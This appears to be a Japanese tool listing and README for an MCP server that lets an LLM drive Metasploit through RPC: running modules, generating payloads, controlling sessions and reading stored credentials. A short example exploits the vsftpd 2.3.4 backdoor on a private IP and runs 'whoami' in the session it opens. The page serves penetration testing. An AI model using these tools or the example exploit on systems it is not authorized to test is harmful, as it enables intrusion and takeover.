mcp-pymetasploit3 について
mcp-pymetasploit3は、Metasploit FrameworkのRPCインターフェースを通じてpymetasploit3の機能をLLMに公開します。モジュール実行のほか、セッション、コンソール、ジョブ、プラグイン、データベース記録を管理できます。
主な機能
- 01Metasploit RPCへの接続と管理
- 02モジュールの検索、設定、実行
- 03ペイロード生成とセッション管理
- 04コンソールと実行中ジョブの操作
- 05ワークスペース、ホスト、検出情報の管理
- 06フレームワーク設定とプラグインの確認
活用シーン
- 01Metasploitモジュールの検索と設定
- 02モジュールの実行と出力の確認
- 03アクティブなセッションの確認や操作
- 04ホスト、サービス、認証情報、脆弱性の確認
MCP 対応
MCPサーバーはpymetasploit3の機能をツールとして公開し、msfrpcプロトコルでMetasploit Frameworkに接続します。別途Metasploit RPCサーバーの起動が必要です。
設定
ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。
ツール
ローカルサーバーのツールはマシン上で起動して初めて取得できます。メンテナーはまだツール一覧を提供していません。
詳細
mcp-pymetasploit3
pymetasploit3 を介して Metasploit Framework を利用する MCP サーバーです。このサーバーは、pymetasploit3 のすべての機能を MCP ツールとして公開し、LLM が msfrpc プロトコルを通じて Metasploit Framework と対話できるようにします。
インストール
pip install mcp-pymetasploit3
MCP サーバーの設定
{
"mcpServers": {
"mcp-pymetasploit3": {
"command": "mcp-pymetasploit3",
"env": {}
}
}
}
使い方
Metasploit RPC サーバーの起動
MCP サーバーを使用する前に、Metasploit RPC サーバーを起動する必要があります。
msfrpcd を使用する場合:
msfrpcd -P yourpassword -p 55553 -n
msfconsole を使用する場合:
msfconsole -q
msf6 > load msgrpc Pass=yourpassword
MCP ツール
接続すると、次のツールを使用できます。
接続管理
connect- Metasploit RPC サーバーに接続しますdisconnect- RPC サーバーから切断しますget_client_info- 現在の接続状態を取得します
モジュール管理
list_modules- 種類ごとに利用可能なモジュールを一覧表示しますuse_module- 指定したモジュールを読み込みますget_module_info- モジュールの説明と情報を取得しますget_module_options- モジュールのすべてのオプションを取得しますset_module_option- モジュールのオプションを設定しますget_missing_required- 未設定の必須オプションを取得しますexecute_module- モジュールを実行しますget_module_targets- 利用可能なターゲットを取得しますset_module_target- ターゲットを設定しますget_target_payloads- 互換性のあるペイロードを取得します
ペイロード生成
generate_payload- ペイロードを生成します
セッション管理
list_sessions- すべてのアクティブなセッションを一覧表示しますget_session_info- セッション情報を取得しますinteract_session- セッションに書き込み、またはセッションから読み取りますsession_run_command- 出力付きでコマンドを実行しますstop_session- セッションを停止します
コンソール管理
create_console- 新しいコンソールを作成しますdestroy_console- コンソールを破棄しますwrite_console- コンソールに書き込みますread_console- コンソールの出力を読み取りますconsole_is_busy- コンソールがビジー状態かどうかを確認しますrun_module_output- モジュールを実行して出力を取得します
コア/フレームワーク
get_framework_version- フレームワークのバージョンを取得しますcore_save- コアの状態を保存しますcore_reload_modules- モジュールを再読み込みしますcore_set_global- グローバル変数を設定しますcore_unset_global- グローバル変数の設定を解除します
データベース
get_db_status- データベースの状態を取得しますdb_list_workspaces- ワークスペースを一覧表示しますdb_set_workspace- 現在のワークスペースを設定しますdb_list_hosts- ホストを一覧表示しますdb_list_services- サービスを一覧表示しますdb_list_notes- ノートを一覧表示しますdb_list_creds- 認証情報を一覧表示しますdb_list_vulns- 脆弱性を一覧表示します
ジョブ
list_jobs- 実行中のジョブを一覧表示しますstop_job- ジョブを停止しますget_job_info- ジョブ情報を取得します
プラグイン
list_plugins- 読み込み済みのプラグインを一覧表示しますload_plugin- プラグインを読み込みますunload_plugin- プラグインを読み込み解除します
検索
search_modules- モジュールを検索しますget_module_references- モジュールの参照情報を取得します
例
# Connect to Metasploit
connect(password="yourpassword", host="127.0.0.1", port=55553, ssl=False)
# List exploits
exploits = list_modules("exploit")
# Use an exploit
use_module("exploit", "unix/ftp/vsftpd_234_backdoor")
# Set options
set_module_option("exploit", "unix/ftp/vsftpd_234_backdoor", "RHOSTS", "192.168.1.100")
# Execute
result = execute_module("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact")
# List sessions
sessions = list_sessions()
# Interact with session
output = interact_session("1", "whoami")
# Disconnect
disconnect()
開発
git clone https://github.com/daedalus/mcp-pymetasploit3.git
cd mcp-pymetasploit3
pip install -e ".[test]"
# run tests
pytest
# format
ruff format src/ tests/
# lint
ruff check src/ tests/
# type check
mypy src/
mcp-name: io.github.daedalus/mcp-pymetasploit3
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。